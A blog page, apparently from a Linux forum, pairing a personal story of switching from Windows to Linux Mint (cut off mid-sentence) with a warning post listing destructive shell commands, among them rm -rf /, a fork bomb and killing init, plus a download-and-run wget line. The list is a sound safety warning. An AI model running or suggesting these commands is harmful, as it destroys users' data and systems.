I decided to post a little introduction to myself here: Ask me who I was last March, and I would have had WinBloze 7 Beta on my main computer and would have been part of Micro$uck's test project for WinBloze 7 and would have been excited about it. However, that changed as soon as my network adapter changed and the new one worked with Linux. As soon as I tested the new adapter with Mint (I'd say about a year ago, in July 2009) I began to really value Linux for what it is.

However, I knew about Linux long before that. I started with gOS 2, which was my first distro. I had tried it back in about February 2008. I first learned about Linux back in mid-2007, from an article in PCMag that spanned several pages. I had quite a hard time back then, and Ubuntu Hardy was no different than gOS.

So then what took me so long from knowing about Linux to finally becoming an active user? My house was nothing but Wi-Fi. My mother set a secure wireless network up back then, and I couldn't connect to it because my adapter (Linksys WUSB54GSC) wasn't recognized by Linux. I had the patience to continue.

Then, in June 2008, my family got hit by the economic collapse here in the USA: The mortgage on my old house doubled and my family had to leave because of the rate increase. So, we were stuck in a hotel room until my family and I could end up in a new house. That Christmas, I wanted a netbook, and got my wish (the one I'm typing on, an Acer Aspire One AOA110-1545). It came with Linux preinstalled, and I liked it all around.

From then to June 2009, I still had WinBloze on my desktop, as Linux still didn't work with my wireless network adapter. Then, in June 2009 as I said, I got a new wireless network adapter, and in July decided to test it with Linux Mint 7. It worked, even from the Live CD! Now,

Announcement: ATTENTION ALL BLOG COMMENTERS: Malicious commands

Posted 08-23-2010 at 03:53 PM by Kenny_Strawn

I have noticed that most LQ members get amused when they talk about shell commands that inflict damage on Linux systems. In my blog, however, THIS WILL NOT BE TOLERATED!!! It violates item #4 of my Blog Code of Conduct and I have a strict zero-tolerance policy for such malicious content as the Code of Conduct already states.

Now, for the education of commenters, here are some examples of commands NEVER TO TYPE, even if another member lies and says it's okay.

Delete all files, delete current directory, delete all files within current directory, delete home directory. It's quite obvious why these commands are dangerous to execute:

Code:

rm -rf /
rm -rf .
rm -rf *
rm -rf ~

Fork Bomb: Runs so many instances of a process that the computer hangs, forcing you to hard-reset the computer which may cause data loss if any work is unsaved. Please also note that this looks like a weird piece of code, so I will break it down for you to see just what each symbol does:

Code:

:(){ :|:& };:

:() #Create a function labeled ':'
{ #Now define it using a block of code
  :|:& #Pipe output of ':' through another instance of ':', which creates another process, and then disown ':', so that only one process is killed at a time
};: #Now run the ':' function

Killbomb: Use of kill or killall to kill system processes:

Code:

kill -SIGSEGV 1
killall -SIGSEGV init

Package management bomb: Use of the package manager to inflict damage on the system:

Code:

sudo apt-get remove linux-image

Shell script: Someone expects you to run a shell script that contains malicious commands and b0rks the system. YOU SHOULD NOT RUN SHELL SCRIPTS FROM AN UNTRUSTED SOURCE!!!

Code:

chmod a+x some_malicious_script.sh && ./some_malicious_script.sh

Binaries: Someone compiles malicious source code into a binary and expects you to execute the binary. The file can be crafted to become a fork bomb or delete files off your hard drive, not to mention possibly erase your HDD completely. YOU SHOULD NOT RUN BINARY FILES FROM AN UNTRUSTED SOURCE!!!

Code:

wget http://some_site.com/some_malicious_binary && ./some_malicious_binary

Tarbomb: Someone expects you to extract a tar archive in your root directory that ends up injecting files into the system that replace other vital ones, causing you system to not boot.

Code:

sudo tar -xzvf ./some_file.tar.gz /

Decompression bomb: Someone tells you to download and extract an archive file from some website that appears to be a small file. In reality, it is highly compressed data and will inflate to hundreds of GBs or even 1 TB, filling your hard drive.

Code:

gksu file-roller some-archive.zip.tar.gz.7z

Again: MALICIOUS COMMANDS - look but DO NOT RUN!!!

If you try to post malicious commands in comments, expect to be immediately and permanently BANNED at the ignore list level. However, if you have anything to add to my list, please comment IN THIS BLOG ENTRY ONLY!!!

Announcement: ATTENTION ALL BLOG COMMENTERS: Malicious commands

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